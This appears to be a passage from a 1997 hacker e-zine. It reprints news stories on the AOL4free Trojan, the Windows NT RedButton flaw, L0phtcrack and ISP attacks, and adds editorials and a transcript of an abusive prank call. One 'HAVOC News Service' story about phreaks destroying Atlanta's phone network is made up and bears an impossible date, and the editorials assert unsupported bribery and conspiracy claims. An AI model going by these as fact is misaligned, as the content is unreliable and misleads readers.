"'Macro viruses' are a huge industry problem," says Christine Winkel, product 
manager at Microsoft, "and we are working closely with the antivirus 
community to make [macros] safer." To block viral outbreaks, Word 97, which 
shipped in January, alerts users when a document containing a macro is opened 
and gives the them the choice of enabling the macro or not. "We encourage 
people to say 'no' if they're not sure of the source," says Winkel. 

©FEED 
_____________________________________________________________

 Trojan Vigilante Targets AOL Cheats 
 (4/17/97; 1:00 p.m. EST)
 By Douglas Hayward , TechWire

 WASHINGTON -- Cheats who attempt to steal Internet access from America 
 Online are having their hard disks wiped out by a digital vigilante.

A highly dangerous Trojan horse program is circulating on the Internet that 
deletes all files on a user's hard disk, researchers at the U.S. Department 
of Energy's Computer Incident Advisory Capability unit said Wednesday in an 
urgent bulletin. The program masquerades as a piece of illegal software, the 
AOL4free.com program, that lets users create fraudulent AOL user accounts.

Established in 1989, the  Computer Incident Advisory Capability is a U.S. 
government agency that provides computer security services to employees and 
contractors of the Department of Energy.

A Trojan horse program differs from a virus in that it must be run by users 
to do its damage. Trojan horses cannot automatically duplicate themselves or 
spread without human intervention, as viruses do.

"If you are E-mailed this file, or if you have down loaded it from an online 
service, do not attempt to run it," the agency said. "If the program was 
received as an attachment to an E-mail message, do not double-click [to open] 
it. Opening an attached program runs that program, which in this case deletes 
all the files on your hard drive," the agency said.

The AOL4free Trojan horse, which is just 933 bytes long, tells users that 
"Your computer has just been f***ed by *VP* f*** you AOL-lamer" while 
deleting all files on the user's hard disk using the DOS DelTree command. But 
pressing the Control and C keys before the Trojan horse has finished deleting 
the files will let users recover some files -- as long as they have programs 
that recover deleted files, the agency said.

The agency also told users not to be lulled into a false sense of security by 
a message circulated earlier this year that said it was not true the AOL4free 
program contained a virus. "That warning was either a hoax or a badly 
misunderstood description of this Trojan horse," it said. 

"A lot of people will think this kind of Trojan horse serves the user right 
because it punishes people who are trying to do something illegal," said Neil 
Barrett, a consultant on computer security with Groupe Bull and the author of 
"Digital Crime: Policing The Cybernation," a book published earlier this 
year. "Their attitude will be that this is actually a rather jolly piece of 
software. But the fact is digital vigilantes can do as much damage -- 
including damage to innocent people -- as real-life vigilantes can do."

Such serve-you-right attacks are becoming particularly popular among digital 
vigilantes targeting pedophiles on the Net, Barrett added. "We have come 
across cases where people have set up Websites that appear to be pedophile 
sites, with the intention of attracting pedophiles and then capturing their 
IP addresses. The people who set the sites up then attack people who have 
visited the site by planting viruses on them or by denial-of-service 
attacks," he said.

"Whatever you think about pedophiles or people who defraud organizations like 
AOL, the fact is that causing damage to computers is a criminal offense in 
most countries," Barrett said. "This kind of thing [Trojan horses] can also 
affect innocent users."

Because the rogue AOL4free program is a Trojan horse, experts say, it will 
spread slowly and its origins will be relatively easy to trace, making it 
unlikely to become a major menace. And though the agency said the program is 
circulating on the Net, antivirus researchers say it has made no real impact 
as yet.

"We have not had any reports from users being hit by these program, so we 
don't want people to start panicking about it" said Graham Cluley, a senior 
virus expert at U.K.-based security specialist Dr Solomon's Software. "It is 
probably going to be a fairly small-scale thing," he said. "There are far 
more important things to worry about, like the huge number of macro viruses 
around." 

©CMP Media, 1996.
_____________________________________________________________

  Regional Phone Companies to Offer New Access Technologies for ISPs 
  April 22, 1997
  By SANDEEP JUNNARKAR 

While the Federal Communications Commission deliberates on whether to end the 
pricing exemption that Internet service providers receive on telephone 
service, the regional phone companies plan to release two rounds of new 
access technologies in the hopes of luring ISPs off the exempted lines and 
onto revenue-generating high-speed lines. 
  
 The federal rule, called the Enhanced Service Provider exemption, allows 
 ISPs, including InternetMCI Dial Access, America Online and the Microsoft 
 Network, to pay only local business connection rates. The regional phone 
 companies, commonly known as the Baby Bells, say that this rule denies them 
 revenues from long-distance communications at the same time that it's 
 clogging their lines. The FCC began providing this exemption in 1983 to help 
 foster the growth of the Internet. Phone companies say that the federal 
 exemption has served its purpose and is now counterproductive. 

Several Baby Bells, including Bell Atlantic, NYNEX, and Pacific Bell, plan to 
implement new temporary services that they say will alleviate congestion on 
the voice networks until they release a family of innovative access 
technologies in 1998.

Beginning this summer, NYNEX will market its Internet Access Provider 
Service, Bell Atlantic will focus on Internet Protocol Routing Service, and 
Pacific Bell will tout its Data Access Gateway. Apart from small technical 
variations, these systems are very similar. They involve taking the data 
traffic off the voice network near the ISP end of the call, directing it 
basically across the floor to a router that connects to a higher-speed frame 
relay network. 

"This is an approach a lot of the regional Bells seem to be taking to relieve 
a lot of the data traffic," said Peter Castleton, managing director for 
NYNEX's Data Access Products division. He added that the company's new 
service "helps to minimize some of the congestion and provides better and 
dedicated access to get to ISPs." 

But ISPs are apprehensive about the reliability of the networks offered by 
the Bells. 

 "Our concern about Bell Atlantic's IPRS service, aside from the fact that we 
 don't know how much it would cost, is that it essentially takes data off our 
 network and runs it through a local exchange carrier packet switch network," 
 said Jill Lesser, deputy director of Law and Public Policy at America 
 Online, the largest Internet access provider in the United States with more 
 than 8 million subscribers. "Right now we have ultimate quality control of 
 our packet network and we like that." 

According to one person within the ISP industry, the other reasons the ISPs 
will not bite is that the proposed services offer no great leap forward over 
the existing systems. That person, who spoke on the condition that he not be 
identified, said he saw two problems with the phone companies' technologies. 
The first is that the data traffic will still have to go through one voice 
switch, thereby not considerably lessening congestion, he said. Second, this 
service will be available only in one or two hubs in every calling area 
rather than in every central office. 

"It's only when they deploy this technology in every single central office 
that they can take data completely off the voice network," said the industry 
source. "They talk about their technology offering less congestion and better 
service but at this point it doesn't measure up. Maybe in a couple of years 
that would be the case but by that point, hopefully, we are talking about 
xDSL technologies." 

And certainly everyone appears to be eagerly anticipating xDSL services, the 
next round of access technologies. (The "DSL" stands for Digital Subscriber 
Loop, while the "x" is a variable that represents the varying speeds and 
methods of transmission offered by different companies.) 

"The new DSL technologies are expected to drive a wide variety of 
applications in education, health care and telecommuting," said Vinton G. 
Cerf, who is widely considered one of the fathers of the Internet and who is 
now the executive vice president of Internet architecture at MCI. "This 
increased capacity allows consumers in homes and businesses to have access to 
high-speed services normally requiring expensive fiber optic line 
connections." 

Applications of the xDSL technologies will include interactive services like 
home shopping and banking, multi-party video games, and multimedia education 
and entertainment. 
  
 In 1998, the Baby Bells, as well as companies like Cisco Systems, plan to 
 release the xDSL family of access technologies, which use digital signals 
 across the traditional copper wires -- the lines that connect nearly every 
 home and business in the United States. 

That copper lines can provide high-speed Internet access comes as a surprise 
to most users because of the commonly held belief that the narrow bandwidth 
of copper can optimally only support voice traffic while causing data 
bottleneck on the Internet. 

"The truth is that we have used only 1 percent of the capability of copper; 
the other 99 percent of the band has just been sitting idle," said Jeff 
Waldhuter, executive director of research and development at NYNEX's Science 
and Technology division. "The existing copper pipe infrastructure has the 
capability to provide the super highway today." 

NYNEX plans to take advantage of this unused portion of the pipes by offering 
something called Asymmetric DSL technology by January 1998. 

"ADSL is not rocket science," Waldhuter said. "It builds off the technology 
of today's analog modems." 

According to Waldhuter, ADSL leverages the same advances in modem technology, 
and by using a larger window of the spectrum on the copper wires. He said: 
"It uses 200 times the spectrum on the copper wire than we are currently 
using. That is how we can get six to eight megabits over the copper to 
individual homes." 

NYNEX is working closely with US Robotics, the modem manufacturer, to design 
a modem that will initially provide 56K service but that could be used for 
ADSL service once it is launched. 

"We just met with US Robotics, and they see a tremendous upside opportunity 
in the market," Waldhuter said. "They are going to do some aggressive pricing 
to bring down the cost so it will be affordable to consumers by the 1998 time 
frame." 
  
 Cisco Systems recently entered the Digital Subscriber Loop market by 
 acquiring Telesend, a privately held company that developed a symmetrical 
 xDSL technology, called IDSL. Cisco claims that users can obtain 128Kbps 
 connections, double the speed of existing single B channel ISDN data 
 services and many times faster than 28.8Kbps or 56Kbps modems. 
 
"ISDL can be deployed quite economically because many ISDN devices can 
potentially support IDSL with a simple software change," said Andrew 
Greenfield, director of Service Provider Infrastructure at Cisco Systems. 

Greenfield added that the difference between ADSL and IDSL is that ADSL has a 
different bandwidth in each direction. "One common configuration gives you 
640 kilobits per second from the customer to the network and 6 megabits in 
the reverse direction," he said. "Whereas IDSL is symmetric with 128 Kbps in 
both directions." 

Companies offering an alphabet soup of xDSL technologies are confident that 
the variety of services will be compatible. 

"The approach we're going to take is standardizing the backbone data network 
off the circuit switch voice network to make sure that it is able to have a 
wide variety of DSL technologies plug right into our backbone," Castleton 
said. "That is the direction a number of the Ciscos and Bay Networks are 
heading." 

None of the companies provided clear pricing details. 

Cisco's Greenfield offered only that consumers would start seeing something 
analogous to business class and coach class service for the Internet. 
  
 "There will a consumer oriented bandwidth that would be competitively priced 
 to be affordable to consumers," said John Johnson, a NYNEX spokesman. "And a 
 business-level bandwidth at a price businesses expect to pay -- one that is 
 competitive with existing services." 

How effective the xDSL technologies will be depends entirely on how widely 
they will be available. 

"Our ADSL roll-out plans are being finalized, but we will be concentrating on 
metropolitan and suburban areas, and other areas of high demand," said 
Johnson. "I can't be more specific at this time. But yes, it will be limited 
by the weakest link in the chain, where ever that may be." 

Before xDSL technologies lure ISPs off the exempted lines, the question of 
costs and availability will have to be spelled out. 

"It's fine to say these products are available, but our primary concerns are 
whether its level of deployment will be close to ubiquity and what the 
ultimate cost would be to upgrade," said AOL's Lesser. "We are also concerned 
about what upgrades will be necessary from the consumer side because we serve 
largely a residential rather than a business market place. If it's not widely 
available to our customers, it's not that useful for us to invest in." 

With other access technologies on the horizon, such as cable and improved 
wireless connections, consumers can only wait to see which become the 
standard. 

©New York Times
_____________________________________________________________

 Hacker Provokes Klan Site Shutdown
 by David Lazarus 

 11:55am 22.Apr.97.PDT -- A hacker named "Joka" managed to get America Online 
 to briefly shut down a site run by the Texas branch of the Ku Klux Klan over 
 the weekend, forcing the service to act for security reasons after it had 
 declined to do so in response to widespread criticism that the site contains 
 offensive material. 

"Somebody was password fishing," AOL spokeswoman Wendy Goldberg said Tuesday. 
"They were using a made-up screen name similar to the one for the Klan. When 
people register complaints, we pull the screen down." 

Simple as that - and exactly as Joka had hoped. 

In a newsletter called the AOL List that routinely slams the quality of AOL's 
service, David Cassel wrote that he'd spoken with Joka, who explained how he 
succeeded in attacking the Klan site by using "the hacker skill of social 
engineering." 

What Joka did was set up a screen name that closely resembled that of the 
Realm of Texas of the KKK. "I went around asking people for their passwords, 
hoping that they would report the wrong screen name," he was quoted as 
saying. 

It worked. Goldberg said a number of complaints were received from members 
last Friday that the operator of the Klan site was going around asking for 
people's passwords. AOL's security force promptly shut down the Klan site and 
launched an investigation. 

"We checked and saw it was a made-up screen name," Goldberg said. "When we 
saw this, we put the Klan's screen back up." She added that the amount of 
time the Klan site was down was not very long. 

AOL has drawn considerable flak since Wired News first reported the ongoing 
presence of the Klan site on its server - despite the service's crackdown on 
other sites deemed offensive or pornographic. 

The KKK Realm of Texas site discusses America being "duped by the lies of the 
race mixers and mongrelizers," and declares the Klan's commitment to "the 
preservation, protection, and advancement of the White race." 

Goldberg said the site was reviewed months ago by AOL, and the service 
decided to let it stay. "These are difficult judgment calls, and we're making 
them on a case-by-case basis," she said. "What we look at is the content and 
character of a site." 

For his part, Joka figures his shadow Klan operator drew about 200 complaints 
after attempting to shake down more than 3,000 AOL members. "Stupid people on 
AOL always amaze me," he was quoted as saying. 
 
©1993-97 Wired Ventures, Inc.
_____________________________________________________________ 
 
 RedButton Lets Anyone Be Everyone
 by Michael Stutz 

 2:57pm 22.Apr.97.PDT -- A serious security hole in Windows NT is the latest 
 in a recent series of published vulnerabilities in the Microsoft operating 
 system. 

The "RedButton Bug," named for the first program to demonstrate the NT 
vulnerability, allows an intruder to bypass the traditional logon procedures 
and grants that user access to intimate system information on an NT server. 

Normally, entry to an NT machine is obtained by logging on with a valid 
username and password combination, or optionally using the guest account, if 
enabled. The RedButton Bug exploits an alternate means of access on NT 
machines - the anonymous account - which is normally used for 
machine-to-machine communication on a network. 

Once connected, this account gives users access to all resources available to 
the group called "everyone," which is as it sounds, all of the users on the 
system. These resources include file shares, of which the default group when 
first created is "everyone." Some resources could even be written by the 
intruder, allowing the implant of Trojan horses. 

The bug was discovered by Andy Baron at Midwestern Commerce Inc., a firm that 
specializes in NT security consulting and assessment. A working demo of the 
flaw was recently published on NTsecurity.com, the Columbus, Ohio, firm's Web 
site. 

When run, RedButton demonstrates how the flaw allows users to log on to any 
LAN or Internet workstation running Windows NT versions 3.5x or 4.0 for which 
they have network access. Users don't have to complete the username or 
password fields. Once on the server, a user sees sensitive information about 
the host machine, including the name of the administrator account and various 
entries in the Windows NT Registry, including a list of users. 

The RedButton program runs only on NT machines. "Our goal wasn't to make it 
available for all platforms," said MWC director of sales Andy Pozo. 

Potentially, the bug can be exploited by any networked computer. 

Microsoft officials were unavailable for comment Tuesday despite several 
attempts to reach them. 

For now, network administrators have no fix, other than disconnecting servers 
from the network, a practice that's incongruous with the function of the 
machines in the first place. And taking away the anonymous access isn't an 
option, said Pozo. "Disabling anonymous access would hinder NT as a useable 
networking platform," he said. 

Partial fixes are available, including the EVERYONE2USER.EXE program, 
developed by David LeBlanc at Internet Security Systems Inc., which changes 
resources from the "everyone" group to one called "user group." 
Internet-connected machines should have their NetBIOS services unbound from 
their Internet interface. 

"Microsoft may include a fix to this problem in time for Service Bug 3, but 
it could be difficult - this bug affects the basic design of NT," Pozo said. 

It would also require the patching of a number of kernel-level subroutines, 
he said. 

Pozo maintains that the latest breach in Microsoft's heavy-hitting OS does 
not mean it's not viable. NT is only showing its youth, he said. "[NT] 
doesn't have the 20 years [of security checking] that Unix has." 

To hackers, NT's vulnerability stems not from the lack of security but from 
the very existence of a security scheme. "NT has a security model, and Unix 
doesn't," said Mudge, a hacker at the Boston-based collective L0pht 
Communications. 

"That's a good thing, but the problem is that so many software vendors tend 
to bypass that model - including Microsoft itself," he said, referring to the 
oft-alleged tendency of Microsoft to ignore its own security precautions. 

And Mudge ought to know. He is the co-author of L0phtcrack, a new tool that 
demonstrates Windows NT password insecurities, somewhat analogous to the 
Crack utility in the Unix world. 

Cracking NT passwords is an easier task than the Unix counterpart because the 
NT encryption isn't as thorough. When encrypting passwords, NT makes no use 
of a salt, a mathematical function that increases the possibilities for an 
encrypted password. And NT only runs through one round of DES encryption for 
each password, as opposed to the 24 rounds of its Unix equivalent, Mudge 
said. 

Thanks to this and some slick code writing, L0phtcrack is currently the 
fastest password-cracking tool available for the NT platform. 

"Our goal is to be able to brute force a 14-character NT password on a 
Pentium Pro 200 in under 24 hours," said co-author and fellow L0pht hacker 
Weld Pond. 

But it's not the only one. The current issue of Phrack Magazine, one of the 
premier security and technology e-journals published by the hacker culture, 
demonstrates another program that cracks NT passwords. 
  
©1993-97 Wired Ventures, Inc.
_____________________________________________________________
 
 AOL4FREE Culprit Tells His Tale
 by David Cassel 

 5:02am 22.Apr.97.PDT -- Nicholas Ryan, a college junior convicted for 
 authoring the original AOL4FREE program, will be leaving Yale University 
 this June to start a six-month home sentence, and two years of probation. 

For 25 hours a week, he will be working at a special education program as a 
form of community service. But on off-hours, Ryan will be working on an 
encryption program for Windows 95, based on the Macintosh program that 
stumped the Secret Service agents who confiscated his computer. "It would be 
a mini-encrypted hard drive - every time you shut down the computer, all the 
information would be totally encrypted." 

Three weeks after his conviction, Ryan says he is ready to talk about his 
hacker past, and to share his experience of creating a program in 1995 that 
allowed hackers to use AOL without paying the hourly charge. Last week, Ryan 
came forward with a 30-KB essay explaining his motives and experiences to 
hacker sites. His confessions came the same week that the Department of 
Energy put out a warning against the AOL4FREE "Trojan horse," a 
file-destroying program that is masquerading as Ryan's original program. 

"I was an outlaw, a spy," Ryan boasts, "and I loved cracking the puzzle of 
AOL's system." During the days of US$2.95-an-hour pricing, AOL4FREE made 
Ryan, aka Happy Hardcore, a hero in hacker chat rooms. "When I entered a 
room, I'd immediately get dozens of messages asking about when my next 
version would come out, who I knew, and many just thanking me." His essay 
also includes anecdotes of hacking live chats and distributing AOL customer 
data. 

In a press release applauding his conviction, AOL conceded that hundreds used 
the program to gain free access to the service. Ryan's is the first federal 
felony conviction involving an online service, AOL claims. "AOL and the 
prosecutors decided they wanted it to strike a blow against the hackers and 
take me out as an example," Ryan said in an interview. "At one point they 
were even claiming that the damages were US$1.5 million." 

Ironically, Ryan had titled one section of the documentation for AOL4FREE 
"Can I get caught?" He even supplied a prescient answer: "A better question 
would be, 'Would they want to prosecute me if I'm caught?'" Ryan now claims 
he'd been reassured by internal memos forwarded by hacker friends that AOL 
would not go after him. "I assumed they were going after the AOL4FREE users. 
Kind of a dumb assumption.... The Secret Service knocked on my door in 
December." 

Of the latest AOL4FREE decoy, Ryan says there's nothing new in naming 
Trojan-horse programs after real ones. "I remember during 1995, way back 
then, there was an AOL4FREE program that was actually a Trojan horse. So this 
program may just be a couple of years old." 

Mixed in with the harrowing stories of his exploits, Ryan's confessional 
essay includes a disclaimer: "I stress that in no way did we EVER do anything 
to cause permanent damage using the tools or information that we found." He 
adds: "We could've taken down 500 file libraries. We could've massively 
wreaked havoc on the service. But it wasn't what we were there for. It was a 
puzzle of it, the challenge of it." 

©1993-97 Wired Ventures, Inc.
_____________________________________________________________
 
 AGIS Keeps Mum Over Attack, FBI Inquiry
 by Michael Stutz 

 11:55am 22.Apr.97.PDT -- One of the country's largest Internet service 
 providers is tight-lipped after an attack on its networks was revealed to be 
 more serious than originally reported. 

 Apex Global Information Services (AGIS), considered one of the "big six" 
 backbone Internet service providers, confirmed Monday that it has been the 
 target of an all-out network attack and that the FBI is investigating the 
 incident. In addition, the company has notified the Computer Emergency 
 Response Team. 

Although the company would not comment on the scope of the FBI investigation, 
a spokesman said that no private information was compromised. 

Observers believe the attack is spam-related because of the company's 
belligerent attitude toward unsolicited bulk email. A quick scan of the 
Usenet groups such as news.admin.net-abuse reveals the depth of discontent 
with the service. 

AGIS, home to some of the most infamous spam factories on the Net, such as 
CyberPromotions, is considered to be the world's largest "rogue" site by 
anti-spam activists such as Robert Braver. 

Braver on Monday published Implementing Warnings for AGIS Netblocks, a 
collection of CGI scripts that webmasters could insert in their sites so that 
anyone from an AGIS network connecting to a page on the site would receive a 
warning message instead of the page's actual contents. The warning informs 
the user that, because AGIS provides bandwidth to spammers, some sites and 
networks may restrict access from their machines to AGIS. 

It is exactly that sort of blocking that was originally feared to have caused 
the recent AGIS attack. 

Users who traced the route from hosts originating on network giant ans.net to 
destinations in AGIS territory over the weekend noticed that their trail 
ended abruptly at AGIS' connection to the servers where MFS Communications 
Company Inc. administers to MAE-East, the largest national network access 
point. Forty-six ISPs, including all major US and some European firms, 
connect to routers here to exchange data with other networks. 

This cut-off fueled speculation among the sleuthing users that ans.net, tired 
of AGIS' spam-positive practices, configured one of their core routers to 
ignore all traffic to or from the AGIS address space. But this was not the 
case, as many hosts on MAE-East suffered similar routing problems during the 
same time span. 

Instead, the outage was most likely a hardware problem on AGIS' side - 
possibly related to the attack. 

Just what hardware failed and how is something AGIS appears to be keeping in 
its vest pocket for now. Even the company spokesman is in the dark. "My 
client hasn't told me whether or not [their silence] is because of the FBI 
investigation, or what," said the spokesman, Steven Wright-Mark. 

Nonetheless, it is likely that the company will be forced to change its 
spam-positive ways; Wright-Mark confirmed that AGIS is expected to release a 
statement sometime this week updating its position toward the highly 
unpopular junk email. If this change materializes, it will be a welcome move 
from a major ISP that, for a time, returned complaints and other email 
reports of Net abuse back to the sender, unread. 
  
©1993-97 Wired Ventures, Inc.
_____________________________________________________________
 
 HLO brings chaos to CERT conference
 by K.F. Fox

 13:00pm 31.Apr.97.EST (HNS) -- At the CERT conference on communications 
 security held today in Atlanta, GA, an apparent reign of terror has begun at 
 the hands of a group of militant phone phreaks known only as the HAVOC 
 Liberation Organization, or HLO.  

Throughout the Atlanta metropolitan area the telephone network has collapsed,
mainly due to malicious vandalism of telephone access boxes located on nearly
every city block of the region.  Moments before this terror spree began, an
anonymous tip was called in to the Atlanta police, stating what could best be
described as "the end of telecommunications tyranny" as the unidentified 
caller termed it.  The caller, in the name of the HLO, claimed responsiblity 
for the terror, and stated that further destruction would be necessary if 
the HLO's demands for cheaper and more widely available phone service were 
not met.  

Rufus Jones, a spokesman for Southern Bell, Atlanta's largest local phone 
service provider, had this to say: "We stand firmly behind our pricing 
policies, and believe that this attack is mainly aimed at long distance 
carriers such as AT&T and Sprint."  Ironically, the majority if not all of 
the property damaged in this reign of terror is owned and operated by 
Southern Bell.  When asked if his company was indeed being singled out in the
rampage, Jones refused comment.  

What is clear to investigators is that the amount of damage in this terror is 
significant.  Preliminary reports estimate the cost at between $1.2 and $2.8 
million.  Those figures do not include the loss in business revenue 
anticipated as a result of this service outage. 

Atlanta Police are now following several leads in their investigation, 
including information provided by an informant working for the FBI.  
According to Tsutmu Shimomura, chief investigator for the APD, the informant,
known only as "SINISTER", has been spying on the HLO through a super-secret
underground hacker chat network on the internet, known as IRC.  

Through this network the HLO has discussed subjects ranging from prank phone 
calls to destroying entire areacodes with a device known as a blotto box.  It 
is believed that the group's membership may number in the hundreds.  

"I don't know who these guys are, but they're real mean, and I'm going to 
write another autobiography when I catch them." said Shimomura.  

HNS will continue to report on this story as more information becomes 
available.

©1997 HAVOC News Service
_____________________________________________________________

[3rd Major NT Security Flaw]---------------------------------------------

Following Microsoft's Internet Explorer Web broswer exploitation, another
major flaw was discovered in another Microsoft product making it the 3rd
major 'hack'. 2 security technologists wrote a code to exploit the major
security flaw in Microsoft's NT network operating system which allowed the
remote user to decrypt critical files including the registry of user 
passwords. Somehow I doubt Microsoft 'accidently' overlooked such a dangerous 
hole in one of their most advanced software productions. As of no surprise, 
Mike Nash (director of marketing for NT Server), has made no remark at all to 
developing a possible 'patch'. A child could obtain these passwords by 
sending a Trojan Horse to a user on the network. With these flaws it is 
easily predicted that more sysadmins will turn to Unix for security.
	"we're still seeing bugs coming out of 20-year-old Unix, and NT is a
	   baby in comparison." -- Goggans

based on an article first published via on the web at www.eet.com only a few
days ago by Larry Lange.


[Marlyand Begins 10 Digit Dialing]-----------------------------------------
	   As of May 1st 1997 ( the release date of this issue) Marlyanders will
have to dial 10 digits for local calls. This is the same date as Bell 
Atlantic adds 2 new area codes, 443 and 240 (not sure about the second area 
code) to Maryland's two current area codes, 410 and 301. This is the second 
time in the past ten years that Bell Atlantic has added area codes to 
Maryland, however, when they added 410 a few years back, we still kept the 
standard 7 digit dialing, oh well, that's progress for you.


[The Bell Atlantic/ Nynex Merger Clears a Major Hurdle]----------------------
	   The coming Bell Atlantic/ Nynex merger, which was started off almost
a year ago, has cleares the Justice Department. Suprisingly, after first
passing each state's PTC ( Public Telephone Commission ) that the merger will
affect, it was declared that the merger does not violate antitrust measures
that will keep the monopoly and hurt the new comers to the local phone 
market. ( Yea right, i think this agreement came after some money had been 
slipped under the table.... ) Anyway, now the merger only need the blessing 
of the FCC, which shouldn't be hard to get. Stay tuned for more details in 
this 23 billion dollar deal.


[Inferno OS Beta Test is Released]-------------------------------------------
	   Lucent Technologies, formerly Bell Labs, but spun off into a new
private company, has released Inferno OS, a new operating system which looks
rather cool. It is mainly targeted to the programming and IS managers of the
computer world, but Lucent is opening its view, and seeing that Inferno would
make a viable internet host, and game development machine. It sounds like it
is mainly based for UNIX machines, but there are versions of this for almost
every platform. ( However, as of this writting, Slackware linux is 
unsupported while Red Hat is supported.) It is now looking like a 
multipurpose OS like JavaOS, which can be ported to many platforms and all 
apps will run and look the same. But, i think searching stuff on the internet 
from your toaster is still a few years off. You can find out more information 
and even download a copy of Inferno ( 20 mbs!) from: 
http://www.lucent.com/inferno/
_____________________________________________________________
[ Phone Calls ]

[1] [ NOTE: First, let it be known, that if you didn't read the news, Bell
Atlantic customers in the Maryland area, will have to use 10 digit dialing
beginning May first. So get ready for this, of course, i have been dialing
all ten digits for local calls, to get practice so my calls will go thru ]

			[ Crappy James Earl Jones Bell Atlantic Greeting]

Operator> Thank you for using Bell Atantic.  How may i help you?
Me> I want to to fix your phone system.
Operator> Excuse me?
Me> Your phone system, it keeps giving me a 'The number you have dialed is
not available, please hang up and try again'
Operator> Are you sure you a dialing the right number?
Me> Fuck yes I am, Im adding the area code in, so i remember when to do it
when May 1st comes around. With out the area code, it works fine, fix your
damn system.
Operator> Sir, please try to calm down.....
Me> Fuck that! I am calm!
Operator> Sir, Please stop the abusive language....
Me> You want abusive language? Ill give you abusive language!
Operator> Sir, I can't explain why your calls arent going through, maybe you
are dialing the wrong number.
Me> Do I sound like an idiot to you? Do I? Fuck you, let me speak with your
supervisor.
Operator> Are you sure you want to speak with my supervisor?
Me> Hell Yes I do
Operator> Ok sir, let me get them on the line for you....
					 [ Elevator Music ]
Supervisor> Sir?
Me> Yea, fix your damn phone system.
Supervisor> What?
Me> Damnit, I SAID FIX YOUR DAMN PHONE SYSTEM SO THAT I CAN USE THE AREA CODE
TO DIAL A LOCAL CALL SO I WILL BE IN GOOD SHAPE WHEN MAY FIRST IS HERE!
Supervisor> Sir, are you sure your calls are local? They may be long distance
and you need to dial a '1'
Me> Fuck head, I  TOLD YOU, THESE ARE LOCAL CALLS.
Supervisor> Oh, I'm sorry
Me> Dumb Ass, your no help, let me speak with your supervisor
Supervisor> Sir?
Me> YOUR SUPERVISOR?!?! I want to speak with him
Supervisor> He's not here right now sir
Me> I DEMAND TO SPEAK WITH HIM!
Supervisor> Sir, he's not here, can i leave a message?
Me> Yea, tell him to fire your sorry lame ass, since you can't do your job...

					   [ C L I C K ]


_____________________________________________________________
	
	------------------------                  ----------------------
	 -[HAVOC Bell Systems]-                  -[Acknowledgements]-
	------------------------                  ----------------------
							   
Agrajag   : PLA Michigan (MIA?)          btm       : Elite 
darkcyde  : #phreak old-schooler         digipimp  : Co-conspirator
Digital_X : Nemesis (MIA?)               dr1x      : It's 420!
disc0re   : Distributor  (errrrrr)       ec|ipse   : Hysterical bastard
Keystroke : Submissions Editor           CrakerJak : Crazy ass mofo
KungFuFox : Editor                       RBCP      : Funniest man alive
memor     : Ueberleet French phreak      shoelace  : Kewl fellow, #phreak'er
psych0    : Lame ass mofo                Distorted : sup bro?
REality   : #phreak's southern accent    yesimlame : No, he's not
Scud-O    : Founder and Editor in Chief  JP        : JP owns you all!
Redtyde   : #phreak not so old-schooler  tombin    : phear!
theLURK3R : Coder guru                   Defraz    : Spanish restaurant owner
UnaBomber : Tired of IRC (MIA?)          ChiaPope  : sniff, we miss wrath!               
								 Dave      : sup bro?
								 Malhavoc  : Infectous Thinker
								 antifire  : NT security guru
								 darc      : has bad info lines
								 devnull   : rmd his sendmail sploits
								 TMessiah  : Believes in 'Utopia'
								 X-TREME   : (to the group) sup all?
								 #phreak   : My home on IRC
								 #hackers  : My home away from home 

_____________________________________________________________

This Month's Question: ( submitied by mbanfeld@n*th*r.n*t )
		 Do you guys to web development?

	   Yea, although we all make lame web pages, but hell, if a group of
insane Heaven's Gate cultists can do it, so can we!


_____________________________________________________________

Next Month:
[My crystal ball is STILL in the shop, but when I was at Bob's Auto and
Crystal Ball Repair Shop the other day, it metioned somethin about httpd
problems and some firewalling holes, But stay tuned for more information.]

					  Issue 11 is out June 1st!

 Send all articles for issue 11 to Keystroke at: keystroke@thepentagon.com

	   Tune in next time, Same Bat Time, Same Bat Channel!

		==========================================================
		= Is this copy of The HAVOC Technical Journal skunked?   =
		= If this file doesn't read at 154768 bytes, it probably =
		= doesn't have a born on date! Get a fresh copy from our = 
		= site at: http://www.geocities.com/SiliconValley/8805/  =
		==========================================================
	   
						    -[EOF]-
